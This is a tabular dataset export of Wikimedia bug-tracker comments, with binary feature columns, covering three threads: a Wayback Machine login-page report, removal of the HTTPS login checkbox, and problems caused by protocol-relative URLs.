+**URL**: http://web.archive.org/liveweb/https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Bugzilla
+
+**Attached**: {F11337}",Low,25.0,1376685660,1377018307.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ylikn3wntpn43fwgl2js,task_description,declined,True,c2,2,False,False,True,-2,True,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+239404,wayback machine can display user login page if the link is clicked from an article,"**jeffluo35** wrote:
+
+Somebody probably fixed it. The last time I checked, I took a screenshot that I attached above.",,,1377018307,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ylikn3wntpn43fwgl2js,task_subcomment,,True,c2,2,False,,,-2,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+239398,wayback machine can display user login page if the link is clicked from an article,"Thanks for taking the time to report this! 
+Could you explain why this is a problem?
+
+For the URL given above, I get a ""Page cannot be crawled or displayed due to robots.txt.""",,,1376903786,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ylikn3wntpn43fwgl2js,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0
+54283,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**Author:** `swalling`
+
+**Description:**
+Currently with wgSecureLogin set to true, it adds a checkbox on Special:UserLogin (which is checked by default) to let the user ""Stay connected to HTTPS after login"" or not.
+
+I think it is probably not necessary. HTTPS is a sane default, and if there's going to be an option to turn it off, it should likely be in user preferences, not on the login page every time you view it.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=29898",Low,25.0,1375208820,1376964006.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ubxour7ark7qgxfdqgos,task_description,resolved,True,c2,1,False,False,True,-5,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+250116,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79960 merged by jenkins-bot:
+Change secure login to use a user preference
+
+https://gerrit.wikimedia.org/r/79960",,,1377026731,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250108,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79963 merged by jenkins-bot:
+Change secure login to use a user preference
+
+https://gerrit.wikimedia.org/r/79963",,,1377026339,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250098,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79963 had a related patch set uploaded by Demon:
+Change secure login to use a user preference
+
+https://gerrit.wikimedia.org/r/79963",,,1376960620,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250088,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 79960 had a related patch set uploaded by Demon:
+Change secure login to use a user preference
+
+https://gerrit.wikimedia.org/r/79960",,,1376960464,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250078,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**swalling** wrote:
+
+Thanks guys!",,,1376959176,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+250068,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 47089 merged by jenkins-bot:
+Change secure login to use a user preference
+
+https://gerrit.wikimedia.org/r/47089",,,1376957308,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250059,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 76823 abandoned by Demon:
+Remove ""stick HTTPS"" option from login page
+
+https://gerrit.wikimedia.org/r/76823",,,1376936875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+250055,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","(In reply to comment #9)
+> Sure, maybe the MediaWiki software should have a replacement in the
+> preferences, but for Wikimedia sites it should be hidden.
+
+Agreed on this as well. With my patch, this would be done by adding the 'user' group to the list of required HTTPS groups. Right now it only disables the preference, but it would be trivial to add a special case to remove it entirely if all users have it disabled.",,,1375228522,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+250052,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Sure, maybe the MediaWiki software should have a replacement in the preferences, but for Wikimedia sites it should be hidden.",,,1375228267,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+250050,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""",Just to be clear: I think the checkbox should be removed (and I don't think there's anybody who thinks it should stay); I just think it should have a replacement because the functionality is still important.,,,1375228151,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+250049,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""",The checkbox should definitely be removed from the login screen. It's not clear to me why it was ever added there in the first place. We did this once before with some other (non-SSL-related) checkbox on the login screen. I thought we'd learned our lesson.,,,1375225606,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,True,,,-5,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+250047,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 47089 had a related patch set uploaded by Parent5446:
+Change secure login to use a user preference; add secure groups option.
+
+https://gerrit.wikimedia.org/r/47089",,,1375214439,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+250045,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**swalling** wrote:
+
+(In reply to comment #4)
+> 
+> Now with all of that said, I agree I'd much rather this be a user preference
+> than have it cluttering the login page. Because then at least the user can
+> still use HTTP if they really want to.
+> 
+> And conveniently enough:
+> https://gerrit.wikimedia.org/r/47089
+
+Thanks for the link. I agree this is the best interim solution, while we argue about whether it should be a preference at all. ;)",,,1375214138,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1
+250043,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","The reason it shouldn't be removed is because it's completely outside the scope of the feature. $wgSecureLogin is intended as a means of forcing private data, specifically passwords, over a secure transport layer connection. It is not intended as a means of forcing specific users to use TLS. Furthermore, I'd like to point out that no reason has been presented for actually removing the option.
+
+(In reply to comment #3)
+> Unless login truly does not work for some users if forced to use HTTPS, I
+> think
+> there is no reason to allow insecure login sessions as an option. It's a
+> fundamental account security issue. If you want to edit via an insecure
+> connection, you can continue to do so anonymously.
+
+This is by no means a ""fundamental account security issue"". Using Wikipedia over HTTP does not in-and-of-itself pose a major security concern (unless you count session hijacking, which could be avoided if the session key was renegotiated more often). Sending passwords over HTTP, on the other hand, does, which is why this feature exists.
+
+(In reply to comment #0)
+> and if there's going to be an option to turn it off, it should likely be
+> in user preferences, not on the login page every time you view it.
+
+Now with all of that said, I agree I'd much rather this be a user preference than have it cluttering the login page. Because then at least the user can still use HTTP if they really want to.
+
+And conveniently enough:
+https://gerrit.wikimedia.org/r/47089",,,1375213999,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1,0,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+250040,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**swalling** wrote:
+
+(In reply to comment #2)
+> The functionality should not be removed, but I'll let you guys decide how to
+> create the best experience.
+> 
+> Some users are very touchy about being forced to use https, so we need to
+> maintain a way to (insecurely) use the site after they login.
+
+Why are they touchy?
+
+Unless login truly does not work for some users if forced to use HTTPS, I think there is no reason to allow insecure login sessions as an option. It's a fundamental account security issue. If you want to edit via an insecure connection, you can continue to do so anonymously.",,,1375212541,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,1
+250034,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","The functionality should not be removed, but I'll let you guys decide how to create the best experience.
+
+Some users are very touchy about being forced to use https, so we need to maintain a way to (insecurely) use the site after they login.",,,1375211923,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,True,,,-5,True,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0
+250026,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Agreed. It should either be a sane default or moved to preferences. It should definitely not be on the log-in page, especially not with the arcane message ""Stay connected to HTTPS after login"".",,,1375209255,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+54253,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Protocol-relative URLs might be various kinds of awesome, and they work with every major browser. The problem with them is, they break many things that are not browsers. It's easy to write an app that fetches some HTML with HTTP, but less easy to correctly interpret that HTML. Using obscure features like protocol-relative URLs causes the less carefully-written HTTP clients to break.
+
+Access logs demonstrate that there are many broken clients: 
+http://paste.tstarling.com/p/HonYcW.html
+
+Note that the browser-like UA strings might not be fake -- Flash and Java apps running under the browser send the UA string of their host. Of the UA strings without ""Mozilla"" in them, we have:
+
+* Three versions of perl, two Java libraries
+* Microsoft BITS (a background download helper, probably used by an offline reader app)
+* KongshareVpn (website defunct)
+* Instapaper (an offline downloader/reader for Android)
+* Googlebot-Image (IP confirmed to be Google)
+* A couple of phone models (Dorado, Symbian)
+
+The length of this list is limited by the sample size, not by the actual number of broken scripts. It's a long, long tail.
+
+This is just a gripe bug, I don't have any concrete plan for replacing protocol-relative URLs in our infrastructure. Krinkle asked me about it at I4155c740 , so I thought I may as well document the problem.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44647 T46647
+https://bugzilla.wikimedia.org/show_bug.cgi?id=20342 T22342",Low,25.0,1375142400,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-gid6pdkw6e55dasv7yx5,task_description,open,True,c2,1,False,False,,-5,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+1500625,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,">>! In T227391#6123061, @Krinkle wrote:
+>>>! In T227391#6105593, @Krinkle wrote:
+>> […]
+>> 
+>> | {F31811490} | {F31811489}
+> 
+> Note that the images are broken as well. […] The browser (both Firefox and Chrome), store styles and images (regardless of domain) in the saved directory. But, for images it is only saving the file referenced in  `<img src>`. […] The files referenced in `<img srcset>` are ignored and left as-is. […] This too is an upstream browser bug, considering that […] they already correctly do this for URLs  in `<img src>`. […] On the other hand, this is also something we could relatively easily fix on our end.",,,1589146578,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,349,True,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+811126,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Change 332707 merged by Jcrespo:
+Swap from protocol-relative urls to https everywhere
+
+[[https://gerrit.wikimedia.org/r/332707]]",,,1487271189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,False,,,181,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+811084,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Change 332707 had a related patch set uploaded (by Chad):
+Swap from protocol-relative urls to https everywhere
+
+[[https://gerrit.wikimedia.org/r/332707]]
+",,,1487268038,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,False,,,181,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+504986,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Well, I said ""eventually"" because I fear there will be internal corner-cases we'd break if we universally flipped the URLs to absolutes with https:// all over the output.  For instance, there's no HTTPS listener at all on the internal service endpoints like http://appservers.svc.eqiad.wmnet/ that other internal code might hit.  Eventually we'll get things fixed up to the point that, even internally in our own networks, all HTTP is HTTPS, but we're not there yet.",,,1439164680,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,101,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0
+504879,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Switching to https:// links would probably be a net benefit at this point, based on the information we have here. Can anyone (dis)confirm?",,,1439131876,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,101,True,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+504142,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Leaving this open about MediaWiki in the general case, but obviously it's not really as much an issue for WMF now.  We could eventually just go to absolutes again and always use 'https://' too.",,,1438964029,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,101,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+478675,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"I wonder how the deprecation of HTTP on Wikimedia wikis affects this report. Do we now care more, as we can switch everything to https? Or less, because some clients are being broken anyway when they only support http?",,,1434876114,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,94,True,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0
+248416,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"I just found out that there is an intermittent a bug in IE with protocol relative stylesheet inclusion, that causes IE to sometimes download the url twice if it is not yet cached.
+
+http://www.stevesouders.com/blog/2010/02/10/5a-missing-schema-double-download/
+
+A Microsoft employee responds in that thread:
+""Internal to Trident, the download queue has “de-duplication” logic to help ensure that we don’t download a single resource multiple times in parallel.
+Until recently, that logic had a bug for certain resources (like CSS) wherein the schema-less URI would not be matched to the schema-specified URI and hence you’d end up with two parallel requests.
+Once the resource is cached locally, the bug no longer repros because both requests just pull the cached local file.""",,,1378110352,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0
+248412,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #7)
+> The reason you need more servers is because serving HTTPS is more expensive
+> than serving HTTP, because of the encryption overhead. You could have the
+> same
+> servers doing both HTTP and HTTPS, and I believe that is indeed the plan, but
+> you would still need more servers because the CPU cost of serving an HTTPS
+> connection is higher, so you need more cores to do the same connection rate.
+
+Didn't Google produce stats claiming that the CPU cost was basically negligible?",,,1375357120,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+248406,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #6)
+> This may be a stupid question, but I got asked today and I didn't know the
+> answer: if Wikimedia currently has a fairly large number of Web servers
+> providing HTTP access, couldn't most of those servers be re-provisioned to
+> serve HTTPS instead? I'm not sure why you would need 80 additional servers
+> (not that the Wikimedia Foundation couldn't easily afford them, in any case).
+
+The reason you need more servers is because serving HTTPS is more expensive than serving HTTP, because of the encryption overhead. You could have the same servers doing both HTTP and HTTPS, and I believe that is indeed the plan, but you would still need more servers because the CPU cost of serving an HTTPS connection is higher, so you need more cores to do the same connection rate.
+
+Note that the 80 figure is just the current host count (9) multiplied by 9 and rounded off. Ryan pointed out to me that 4 of those 9 servers are old and have only 8 cores, whereas the newer servers have 24 cores. Since CPU is the limiting factor, it's really the core count that should be multiplied by 9. We have 152 cores currently doing HTTPS, so we would need an extra 1368, implying we need 57 additional 24-core servers.",,,1375338954,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,2,False,,,-4,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1
+248400,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"(In reply to comment #4)
+> My estimate on bug 51002 was that sending all traffic through HTTPS would
+> require the HTTPS cluster to be expanded by a factor of 10. Since the
+> relevant metric is connection rate, not object rate, bits and upload would
+> probably be most of that, since browsers open multiple concurrent connections
+> to those servers during a normal request. So you'd be looking at maybe 80
+> additional servers.
+
+This may be a stupid question, but I got asked today and I didn't know the answer: if Wikimedia currently has a fairly large number of Web servers providing HTTP access, couldn't most of those servers be re-provisioned to serve HTTPS instead? I'm not sure why you would need 80 additional servers (not that the Wikimedia Foundation couldn't easily afford them, in any case).",,,1375337252,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,2,True,,,-4,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
